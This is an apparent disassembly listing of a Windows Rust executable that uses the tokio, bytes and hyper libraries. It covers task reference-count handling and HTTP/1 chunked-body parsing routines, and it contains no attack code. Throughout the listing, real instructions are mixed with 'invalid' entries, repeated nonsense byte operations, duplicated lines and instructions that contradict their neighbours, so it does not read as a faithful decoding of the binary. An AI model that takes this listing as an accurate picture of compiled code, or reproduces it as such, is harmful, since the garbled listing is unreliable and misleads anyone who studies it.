lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x60]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
mov qword [rsi + 0x30], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140090133
test eax, eax
jne 0x14009014d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400901e4
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400901bf
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140090180
lea rcx, [rsi + 0x20]
call fcn.1400396d0
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x14009019f
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
add al, ch
ret 0x780
nop dword [rax + rax]
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x1400902b0
invalid
out 0xf6, eax
rol dword [rbx], 0x74
js 0x140090317
test cl, 3
je 0x140090346
mov rax, 0xffffffffffffffc0
mov eax, 0xffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140090579
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14009051f
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140090305
lea rcx, [rsi + 0x20]
call fcn.1400396d0
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x140090324
xor al, ch
mov dl, 0xf1
invalid
sal byte [rdx + rcx + 0x48], 0x8b
invalid
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14009039d
xorps xmm6, xmm6
test eax, eax
jne 0x1400903c9
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140090431
test eax, eax
jne 0x14009052e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 2
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400904ef
test eax, eax
jne 0x140090509
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x1400905a0
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
and byte [rax - 0x7d], cl
invalid
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14009044f
invalid
invalid
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14009047b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
xchg esp, eax
add al, 0
xchg esp, eax
add al, 0
mov byte [r14 + 0x120], 1
jmp 0x14009044f
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
invalid
add byte [rax], al
add al, ch
mov edi, 0xcc00077d
invalid
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400905c0
test al, 1
je 0x1400907ab
test al, 2
jne 0x1400907c3
test al, 8
jne 0x1400906e6
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14009063d
xorps xmm6, xmm6
test eax, eax
jne 0x140090669
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov qword [rsi + 0x30], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400906ca
test eax, eax
jne 0x140090704
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
jmp 0x140090704
test al, 0x10
je 0x140090704
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x140090847
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x10]
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ea850
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400907db
jne 0x140090798
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x140090753
mov rcx, rdi
call fcn.1400396d0
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
test rax, rax
test eax, eax
test eax, eax
je 0x140090772
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
sbb ecx, dword [rax]
invalid
sbb ecx, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x80], dh
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014de48]
mov edx, 0x23
call fcn.140108350
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014de88]
mov edx, 0x25
call fcn.140108350
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
and al, 0x48
add al, byte [rax]
add byte [rax], al
and al, 0x48
add al, byte [rax]
add byte [rax], al
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
int3
mov rcx, rbx
call fcn.140012910
mov r14, qword [rsi + 0x88]
mov r15, qword [rsi + 0x90]
mov rax, qword [rsi + 0x80]
add rax, r14
mov rcx, r15
sub rcx, r14
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov rcx, qword [rsi + 0x68]
mov rax, qword [rsi + 0x70]
lea r8, [rsp + 0x30]
mov rdx, rdi
call qword [rax + 0x18]
test rax, rax
je 0x140090950
mov byte [rsi + 0xa1], 1
mov eax, 2
jmp 0x1400909f6
test rdx, rdx
je 0x14009095f
mov eax, 1
jmp 0x1400909f6
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
cmp rdx, rax
ja 0x140090a0b
add r14, rdx
mov qword [rsp + 0x28], r14
cmp r14, r15
ja 0x140090a1d
mov qword [rsi + 0x88], r14
cmp byte [rsi + 0x50], 0
jne 0x1400909f4
mov rax, qword [rsi + 0x58]
cmp rax, rdx
jbe 0x1400909cf
bsr rcx, rax
not ecx
add cl, 2
mov rax, 0xffffffffffffffff
shr rax, cl
inc rax
cmp rax, rdx
jbe 0x1400909f0
cmp byte [rsi + 0x51], 0
je 0x140090a05
cmp rax, 0x2001
mov ecx, 0x2000
cmovae rcx, rax
mov qword [rsi + 0x58], rcx
jmp 0x1400909f0
mov rcx, qword [rsi + 0x60]
lea r8, [rax + rax]
test rax, rax
mov rax, 0xffffffffffffffff
cmovns rax, r8
cmp rax, rcx
cmovae rax, rcx
mov qword [rsi + 0x58], rax
mov byte [rsi + 0x51], 0
xor eax, eax
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov byte [rsi + 0x51], 1
jmp 0x1400909f4
lea r8, [0x14013c840]
mov rcx, rdx
mov rdx, rax
call fcn.140108340
add rsi, 0x90
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rax
lea rax, [0x140141790]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x70]
call fcn.140108280
int3
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov byte [rcx + 0xd1], 1
jmp 0x140090b91
retf
add byte [rax - 0x39], cl
adc dword [rax + 0x5000000], 0xc6000000
adc edx, 0x2000000
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rdx], al
mov rcx, rdx
call fcn.140037250
mov rcx, rbx
mov rsi, rax
lea rdi, [rbx + 0xc0]
cmp qword [rbx + 0xc0], 0
je 0x140090c1a
mov rcx, rdi
call fcn.140035fe0
mov rcx, rbx
mov qword [rdi], rsi
jmp case.0x14001a5bd.2046
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x58
mov rbx, rdx
mov rsi, rcx
lea rax, [rdx + 0xd8]
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
mov rax, qword [rdx + 0x70]
cmp rax, 2
je 0x140090ce6
lea r14, [rbx + 0x70]
cmp rax, 1
jne 0x140091005
cmp dword [rbx + 0x90], 2
jne 0x140090cdf
add byte [rax], al
add dh, byte [rbp + 0x44]
mov rax, qword [rbx + 0xd8]
mov rdx, qword [rbx + 0xe8]
sub rax, rdx
cmp rax, 0x18
jbe 0x140090fc7
mov rax, qword [rbx + 0xe0]
movups xmm0, xmmword [0x14013fb11]
movups xmmword [rax + rdx + 9], xmm0
movups xmm0, xmmword [str.HTTP_1.1_100_Continue_r_n_r_ninternal_error:_entered_unreachable_code:_poll_read_body_invalid_state:]
movups xmmword [rax + rdx], xmm0
add rdx, 0x19
mov qword [rbx + 0xe8], rdx
mov qword [r14], 2
lea rbp, [rbx + 0x78]
movzx eax, byte [rbx + 0x78]
test eax, eax
je 0x140090d38
cmp eax, 1
jne case.default.0x140090d36
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
lea rsi, [rsp + 0x38]
lea r14, [rsp + 0x38]
movzx eax, byte [rbx + 0x79]
mov qword [rsp + 0x90], 0
movzx eax, al
lea r13, [0x140177c24]
movsxd rax, dword [r13 + rax*4]
add rax, r13
lea r15, [rsp + 0x38]
jmp rax
invalid
loopne 0x140090d85
mov r9, qword [rbx + 0x80]
mov ecx, dword [rbx + 0x80]
test r9, r9
je 0x140090d96
lea rcx, [rsp + 0x60]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
call fcn.1400955e0
cmp qword [rsp + 0x60], 0
je 0x140090ea8
add dword [rax], r8d
invalid
add dword [rax], r8d
add byte [rcx - 0x43], al
add dword [rax], eax
add byte [rax], al
mov r13d, 1
xor r14d, r14d
test r13, r13
jne 0x14009155f
add byte [rax], al
add byte [rax], al
test r14, r14
jne 0x140090da7
mov r15d, 1
mov r13d, 4
add byte [rax], al
jmp 0x140090f23
xchg edi, eax
add dword [rax], eax
add byte [rax + 0xf00797b], al
cmp byte [rbx + 0x79], 0
je 0x140090e66
mov r12d, 1
cmp byte [rbx + 0x79], 0
je 0x140090e66
mov r12d, 1
lea r14, [0x14013db38]
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
movzx ecx, byte [rbp]
cmp ecx, 2
je 0x140090e22
cmp ecx, 1
jne 0x140090e51
cmp byte [rbx + 0x79], 0xc
sete cl
test cl, cl
je 0x140090e2a
test rax, rax
je 0x140090ea0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0xd8]
mov word [rax + rbx*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xc8], al
mov word [rax + rbx*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xc8], al
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rax]
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rax], al
movaps xmmword [rsp + 0xe0], xmm0
mov r15d, 1
mov r13d, 3
jmp 0x140090f23
movzx ecx, byte [rbx + 0x79]
test cl, cl
jne 0x140090dd8
test rax, rax
je 0x140090eeb
movups xmm0, xmmword [rsp + 0x60]
movups xmm1, xmmword [rsp + 0x70]
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov qword [rsi], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
jmp 0x140091566
cmp qword [rbx + 0x80], 0
sete cl
test cl, cl
jne 0x140090dd8
jmp 0x140090e2a
lea rcx, [rsp + 0x60]
mov r9d, 0x2000
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
call fcn.1400955e0
cmp qword [rsp + 0x60], 0
je 0x140090f70
mov r13d, 1
test r13, r13
jne 0x14009155f
invalid
add byte [rax], al
invalid
jmp 0x140090d76
mov r13d, 3
jmp 0x140090ef1
mov r14, qword [rsp + 0x68]
mov r12, qword [rsp + 0x70]
test r14, r14
je 0x140090f95
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x28], r12
mov rax, qword [rsp + 0x30]
mov rcx, qword [rbx + 0x80]
sub rcx, rax
jae 0x140090f9d
xor ecx, ecx
jmp 0x140090fa2
add byte [rax], al
add byte [rcx - 0x43], al
add al, 0
add byte [rax], al
mov r13d, 4
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0xb0], xmm0
lea rcx, [rsp + 0x78]
xor r15d, r15d
mov rdx, r12
xor r8d, r8d
call qword [r14 + 0x10]
mov qword [rbx + 0x70], r13
mov rax, qword [rsp + 0xc0]
add byte [rax], al
add byte [rax - 0x77], cl
adc byte [r15], r9b
sub byte [rsp + 0xb0], al
add byte [rax], al
add byte [rax - 0x77], cl
adc byte [r15], r9b
sub byte [rsp + 0xb0], al
movups xmmword [rbp], xmm0
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
call fcn.140090a90
mov rcx, rbx
mov rdx, qword [rsp + 0x58]
call fcn.140090b70
mov qword [rsi], r15
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r12
movaps xmm0, xmmword [rsp + 0xe0]
sub byte [rsp + 0xe0], al
sub byte [rsp + 0xe0], al
movups xmmword [rsi + 0x18], xmm0
jmp 0x140091566
mov r14, qword [rsp + 0x68]
mov r12, qword [rsp + 0x70]
test r14, r14
push 0x24648b4c
jo 0x140090fc8
test esi, esi
je 0x140090fb3
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x7b], cl
ror byte [rdi], 0x94
jns 0x140090f7f
invalid
add byte [rax], 0
add byte [rax - 0x7b], cl
ror byte [rdi], 0x94
jns 0x140090f7f
and dword [rbp + 0x31], eax
in eax, dx
xor r13d, r13d
jmp 0x140090d6a
test rax, rax
je 0x140090fe3
mov qword [rbx + 0x80], rcx
mov rcx, qword [rsp + 0x38]
jmp 0x140090da7
xor r14d, r14d
xor r13d, r13d
test r13, r13
jne 0x14009155f
jmp 0x140090d76
mov r8d, 0x19
mov eax, 0x19
mov rcx, qword [rsp + 0x50]
call fcn.140109710
mov rdx, qword [rbx + 0xe8]
jmp 0x140090cb6
call fcn.1400957f0
mov r15, rax
lea rcx, [rsp + 0x38]
xor r13d, r13d
mov rdx, r12
xor r8d, r8d
call qword [r14 + 0x10]
mov r12, r15
jmp 0x140090d6a
mov qword [rsp + 0x20], r14
lea rax, [0x140095470]
mov qword [rsp + 0x28], rax
lea rax, [0x14013fb70]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
add byte [rax], al
add byte [rax], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea rcx, [rsp + 0x60]
add byte [rax - 0x73], cl
and al, 0x60
call fcn.140108280
nop dword [rax + rax]
lea rcx, [rsp + 0x60]
mov r9d, 1
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
call fcn.1400955e0
mov al, 2
cmp qword [rsp + 0x60], 0
jne 0x1400914d6
mov rax, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
test rax, rax
je 0x1400914d1
add al, 0
invalid
add al, 0
add byte [rax - 0x73], cl
and al, 0x78
lea rcx, [rsp + 0x78]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x1400911db
movzx r14d, byte [rdx]
mov rcx, r15
call qword [rax + 0x10]
lea eax, [r14 - 0x30]
cmp al, 0xa
jae 0x14009111d
mov rcx, qword [rbx + 0x80]
mov rdx, rcx
shr rdx, 0x3c
lea r14, [rsp + 0x38]
jne 0x140091234
shl rcx, 4
movzx eax, al
or rax, rcx
mov qword [rbx + 0x80], rax
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
movzx ebp, al
movsxd rax, dword [r13 + rbp*4]
add rax, r13
jmp rax
lea eax, [r14 - 0x61]
cmp al, 6
mov rsi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
jae 0x140091181
jae 0x140091181
mov rax, qword [rbx + 0x80]
mov rcx, rax
shr rcx, 0x3c
jne 0x1400914b1
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x3f], cl
loopne 0x14009114b
shl rax, 4
add r14b, 0xa9
movzx ecx, r14b
add rcx, rax
mov qword [rbx + 0x80], rcx
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
movzx ebp, al
movsxd rax, dword [r13 + rbp*4]
add rax, r13
lea rsi, [rsp + 0x38]
lea r14, [rsp + 0x38]
jmp rax
lea eax, [r14 - 0x41]
cmp al, 6
jae 0x140091206
mov rax, qword [rbx + 0x80]
mov rcx, rax
shr rcx, 0x3c
jne 0x1400914b1
shl rax, 4
add r14b, 0xc9
movzx ecx, r14b
add rcx, rax
mov qword [rbx + 0x80], rcx
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
movzx ebp, al
movsxd rax, dword [r13 + rbp*4]
add rax, r13
lea rsi, [rsp + 0x38]
lea r14, [rsp + 0x38]
jmp rax
lea rdx, [0x14013fbb5]
mov r8d, 0x25
mov cl, 0x25
call fcn.140095880
mov r12, rax
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov rcx, r15
jmp 0x140091217
lea rdx, [0x14013fbda]
mov r8d, 0x2b
mov cl, 0x14
jmp 0x140091221
call qword [rax + 0x10]
mov al, 1
jmp 0x1400914d6
call fcn.140095880
mov r12, rax
xor r14d, r14d
xor r13d, r13d
jmp 0x14009152a
lea rdx, [0x14013fc05]
mov r8d, 0x1c
mov cl, 0x15
call fcn.140095880
mov r12, rax
xor r14d, r14d
xor r13d, r13d
in eax, dx
jmp 0x140091520
lea rcx, [rsp + 0x60]
mov r9d, 1
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
call fcn.1400955e0
mov al, 2
cmp qword [rsp + 0x60], 0
jne 0x1400914d6
mov rax, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
test rax, rax
je 0x1400914d1
mov rdi, r13
lea rcx, [rsp + 0x78]
movups xmm0, xmmword [rcx]
adc byte [rcx], al
adc byte [rcx], al
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
test r8, r8
lea r13, [rsp + 0x38]
je 0x14009146f
movzx r14d, byte [rdx]
mov rcx, r13
call qword [rax + 0x10]
lea eax, [r14 - 0x30]
cmp al, 0xa
jae 0x14009132c
mov rcx, qword [rbx + 0x80]
mov rdx, rcx
shr rdx, 0x3c
lea r14, [rsp + 0x38]
jne 0x140091234
mov r13, rdi
shl rcx, 4
movzx eax, al
or rax, rcx
mov qword [rbx + 0x80], rax
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
add byte [rax], al
add byte [rdi], cl
mov dh, 0xe8
add byte [rax], al
add byte [rdi], cl
mov dh, 0xe8
movsxd rax, dword [rdi + rbp*4]
add rax, rdi
lea r15, [rsp + 0x38]
jmp rax
lea eax, [r14 - 0x61]
cmp al, 6
mov rsi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
mov r13, rdi
jae 0x140091398
mov rax, qword [rbx + 0x80]
mov rcx, rax
shr rcx, 0x3c
lea r15, [rsp + 0x38]
jne 0x1400914b1
shl rax, 4
add r14b, 0xa9
movzx ecx, r14b
add rcx, rax
mov qword [rbx + 0x80], rcx
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
and al, 0x90
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xe8
and al, 0x90
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xe8
movsxd rax, dword [r13 + rbp*4]
add rax, r13
lea rsi, [rsp + 0x38]
lea r14, [rsp + 0x38]
jmp rax
lea eax, [r14 - 0x41]
cmp al, 6
lea r15, [rsp + 0x38]
lea edi, [rsp + 0x38]
lea edi, [rsp + 0x38]
jae 0x1400913f7
mov rax, qword [rbx + 0x80]
mov rcx, rax
shr rcx, 0x3c
jne 0x1400914b1
shl rax, 4
add r14b, 0xc9
movzx ecx, r14b
add rcx, rax
invalid
ror dword [rax - 0x77], 0x8b
add byte [rax], 0
add byte [rax + 0x79438801], dh
mov qword [rbx + 0x80], rcx
mov al, 1
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
movzx ebp, al
movsxd rax, dword [r13 + rbp*4]
add rax, r13
lea rsi, [rsp + 0x38]
lea r14, [rsp + 0x38]
jmp rax
mov al, 2
cmp r14d, 0x1f
jg 0x14009143b
cmp r14d, 9
lea rsi, [rsp + 0x38]
je 0x1400914a7
cmp r14d, 0xd
jne 0x1400914c5
mov al, 4
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
add byte [rax], al
add byte [rax], al
movzx ebp, al
movsxd rax, dword [r13 + rbp*4]
add rax, r13
lea r14, [rsp + 0x38]
jmp rax
cmp r14d, 0x20
lea rsi, [rsp + 0x38]
je 0x1400914a7
cmp r14d, 0x3b
jne 0x1400914c5
mov al, 3
mov byte [rbx + 0x79], al
mov qword [rsp + 0x90], 0
add byte [rdi], cl
mov dh, 0xe8
add byte [rdi], cl
mov dh, 0xe8
movsxd rax, dword [r13 + rbp*4]
add rax, r13
lea r14, [rsp + 0x38]
jmp rax
lea rdx, [0x14013fbb5]
lea edx, [0x14013fbb5]
mov r8d, 0x25
mov cl, 0x25
call fcn.140095880
mov r12, rax
mov rax, qword [rsp + 0x20]
mov eax, dword [rsp + 0x20]
mov eax, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov rcx, r13
call qword [rax + 0x10]
mov al, 1
mov r13, rdi
lea r15, [rsp + 0x38]
jmp 0x1400914d6
lea r14, [rsp + 0x38]
jmp 0x140091791
loopne 0x1400914b1
add byte [rax], al
loopne 0x1400914b1
add byte [rax], al
lea rdx, [0x14013fc05]
mov r8d, 0x1c
mov cl, 0x15
jmp 0x140091221
pop rsp
std
invalid
invalid
pop rsp
std
invalid
lea rdx, [0x14013fcf4]
jmp 0x14009157a
mov al, 1
mov r12, rdx
invalid
invalid
test al, al
jne 0x14009150e
sal byte [rbp + 0x34], 0x4c
mov esi, dword [rsp + 0x90]
mov r14, qword [rsp + 0x90]
mov byte [rbx + 0x79], bpl
test r14, r14
jne 0x140091903
mov qword [rsp + 0x90], 0
movzx ebp, bpl
movsxd rax, dword [r13 + rbp*4]
